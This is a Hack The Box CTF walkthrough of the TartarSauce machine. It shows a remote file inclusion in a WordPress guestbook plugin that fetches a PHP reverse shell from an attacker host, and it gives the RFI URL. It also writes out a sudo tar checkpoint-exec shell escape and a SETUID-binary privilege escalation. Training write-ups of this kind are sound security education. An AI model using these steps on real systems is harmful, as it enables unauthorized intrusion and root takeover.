Hack The Box – TartarSauce Walkthrough
Introduction
This was an intermediate Linux machine that involved exploiting a remote file inclusion in the WordPress plugin to gain initial access and various misconfigurations with the Tar binary to escalate privileges to root.
Enumeration
The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:
- -sC to run default scripts
- -sV to enumerate applications versions
The scan has identified only port 80 (HTTP) as open, so the next step will be to start enumerating this service.
Enumerating HTTP
When accessing the web server on port 80 through a web browser, the following page is displayed:
As indicated by Nmap, the robots.txt file is present on the site and it contains a few entries:
These did not bring back anything useful, although they did reveal there is a /webservices directory available, which may contain other web applications not listed in the robots file.
The next step is to run a scan to find hidden files or directories using Gobuster, with the following flags:
- dir to specify the scan should be done against directories and files
- -u to specify the target URL
- -w to specify the word list to use
- -x to specify the extensions to enumerate
- -t to specify the number of concurrent threads
The scan has identified a /wp entry, when navigating to it the following page is displayed:
Running WPScan against the target machine with the following flags:
- –url to specify the URL for the Wordrpess application, in this case http://10.0.0.101:12380/blogblog/
- -e to specify the elements to enumerate, in this case, ap for all plugins, at for all themes, tt for timthumbs, cb for config backups, dbe for database exports, u for users and m for media:
- –plugins-detection aggressive, to enumerate all known plugins
It appears a “gwolle-gb” plugin was identified:
Using SearchSploit to identify known vulnerabilities affecting this plugin:
Viewing the contents of the proof of concept – apparently the abspath parameter is not properly sanitized and as such this creates a remote file inclusion vulnerability which by hosting a PHP file on a local server can allow for remote code execution. A “wp-load.php” file containing malicious code needs to be hosted for this to be possible:
High-Tech Bridge Security Research Lab discovered a critical Remote File Inclusion (RFI) in Gwolle Guestbook WordPress plugin, which can be exploited by non-authenticated attacker to include remote PHP file and execute arbitrary code on the vulnerable system.
HTTP GET parameter "abspath" is not being properly sanitized before being used in PHP require() function. A remote attacker can include a file named 'wp-load.php' from arbitrary remote server and execute its content on the vulnerable web server. In order to do so the attacker needs to place a malicious 'wp-load.php' file into his server document root and includes server's URL into request:
http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]
In order to exploit this vulnerability 'allow_url_include' shall be set to 1. Otherwise, attacker may still include local files and also execute arbitrary code.
Successful exploitation of this vulnerability will lead to entire WordPress installation compromise, and may even lead to the entire web server compromise.
There appears to be a remote file inclusion vulnerability, mirroring it:
Copying the Laudanum PHP Reverse Shell to the current working directory and renaming it to wp-load.php
Amending IP address and port in the PHP reverse shell accordingly:
Setting up a Python Simple HTTP Server to host the reverse shell:
The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:
- -l to listen for incoming connections
- -v for verbose output
- -n to skip the DNS lookup
- -p to specify the port to listen on
Navigating to the following URL, therefore accessing and executing the PHP reverse shell:
http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.11/
The shell was successfully executed and a callback on the Netcat listener was received, granting access to the machine as the www-data user:
The following steps can be done to obtain an interactive shell:
- Running “python -c ‘import pty; pty.spawn(“/bin/sh”)’” on the victim host
- Hitting CTRL+Z to background the process and go back to the local host
- Running “stty raw -echo” on the local host
- Hitting “fg + ENTER” to go back to the reverse shell
When running sudo -l, it appears the www-data user can execute the Tar binary as the “onuma” user:
Upon consulting GTFOBins, it appears tar can be exploited when running as sudo. Tar has an argument called –checkpoint, which allows to display a “progress” message every time X number of files have been archived. This can be used in concatenation with the –checkpoint-action flag, which allows to execute an action, in form of a binary or script, whenever a checkpoint is reached.
Executing the following command to execute /bin/sh as onuma:
sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpointaction=exec=/bin/sh
Transferring the LinPEAS enumeration script using the Python Simple HTTP Server and Wget:
Executing it:
It looks like a “backuperer.timer” systemd timer is present on the machine:
Looking for the service file used by the systemd timer:
Judging by the contents of the file, it looks like the script is currently compressing the contents of /var/www/html and moving the archive to /var/tmp. It is then extracted to /var/tmp/check/var/www/html and it is comparing the contents of the folder with the current contents of /var/www/html, and if the extracted files are the same they are then deleted and moved to /var/backups/onuma-www-dev.bak, if not they will stay there for 30 seconds before they are deleted:
This means that if a tar archive is placed in the /var/tmp directory, if it contains /var/www/html it will be extracted into the check directory and it will maintain the same permissions. Although the archive and its folders will need to be named the same way for it to work.
Creating and compiling a binary that will execute /bin/sh with the SETUID bit set i.e. as root:
Creating the var, www and html folders on the local Kali host, adding the SETUIT binary and and compressing them:
Transferring the archive using the Python Simple HTTP Server and Wget:
Waiting a few seconds for the systemd timer to run:
As shown below, a temporary folder where the archive was placed has now been created:
Replacing the archive created by the script with the one created earlier in Kali – notice the check folder has also been created:
Navigating to check/var/www/html and verifying that the SETUID binary has now been extracted:
Executing the binary:
This has provided root-level access to the machine
Conclusion
This was a really cool box, especially for the privilege escalation part, I was already aware of the checkpoint vector through Tar although the other exploitation path was definitely a new one for me and certainly a very creative approach to it.